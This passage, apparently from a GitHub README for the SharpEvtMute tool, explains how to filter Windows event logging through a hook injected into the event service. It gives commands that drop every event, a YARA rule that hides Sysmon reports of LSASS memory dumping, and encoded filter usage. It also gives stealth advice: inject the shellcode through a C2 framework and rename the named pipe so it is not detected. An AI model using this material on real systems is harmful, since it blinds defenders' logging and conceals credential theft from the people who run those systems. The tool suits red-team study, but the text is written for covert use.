

Now that the hook is placed we can add the filter.

```
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"

PS X:\> .\SharpEvtMute.exe --Filter "rule disable { condition: true }"
SharpEvtMute by @_batsec_

[+] Yara filter has been updated
PS X:\>
```

Now all events will be dropped by the event service.

Complex Filters

Filters can be dynamically changed without having to reinject a hook. This makes it quick and easy to update the active filter.

An example of a more complex filter would be this. It is capable of blocking the events related to a lsass memory dump from being reported by sysmon.

```
rule block_lsass_dump {
    meta:
        author = "@_batsec_"
        description = "Prevent lsass dumping being reported by sysmone strings:
        $provider = "Microsoft-Windows-Sysmon"
        $image = "lsass.exe" nocase
        $access = "GrantedAccess"
        $type = "0x1fffff"
        condition:
        all of them
}
```

With a complex rule like this it is much harder to condense it into a single line. This is why I added the ability to give base64 encoded rules.

The rule can easily be converted to base64 from a linux command line.

```
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
```

Then using the --Encoded flag we can pass it as a filter

PS X:\> .\SharpEvtMute.exe --Encoded --Filter "cnVsZSBCbG9ja19Mc2Fzc19EdW1wIHskICAgIG1ldGE6CiAgICAgICAgIXV0aG9yID0gIkBfY mF0c2VjXyIKICAgICAgICAgIXNjcmlwdGlvbiA9ICJQcmV2ZW50IGxzYXNzIGR1bXBpbmcgYmVpbmcgcmVwb3J0ZWQgYnkgc3lzbW9uIgogICAgc3Ryaw5nc zoKICAgICAgICAkcHJvdmlkZXIgPSAiTWljcm9zb2Z0LVdpbmRvd3MtU3lzbW9uIgogICAgICAgICAgICRpbWFnZSA9ICJsc2Fzcy5leGUiIG5vY2FzZQogICAgI CAgICRhY2Nlc3MgPSAiR3JhbnRlZEFjY2VzcyIKICAgICAgICAkdHlwZSA9ICIweDFmZmZziIKICAgIGNvbmRpdGlvbjoKICAgICAgICBhbGwgb2YgdGhlbQp9"
SharpEvtMute by @_batsec_

[+] Yara filter has been updated

Opsec Considerations

When injecting the hook SharpEvtMute.exe will call CreateRemoteThread and this call is made before the hook is placed so it will be reported by Sysmon. This is because the injection feature of SharpEvtMute.exe should only be used as a PoC. I recommend manually injecting EvtMuteHook.dll into the event logging service when stealth is important.

It's pid can be found by running SharpEvtMute.exe --Pid. The hook can be placed by manually injecting the shellcode (run make in EvtMuteBin) via your C2 framework of choice, e.g. shinject in shadOw.

It is also worth mentioning that the hook will use a named pipe to update filters. The named pipe is called <code>EvtMuteHook_Rule_Pipe</code> (this named can be changed easily). There is a rule hard baked into the hook to ensure that any events including this name will be dropped automatically but it will still be an IOC having it listening, so I recommend changing it.

Community Filters

If you create some useful filters feel free to make a pull request to the YaraFilters directory. It would be cool to have a good collection of filters to hide common actions

© 2024 GitHub, Inc. Terms Privacy Security Status Docs Contact Manage cookies Do not share my personal information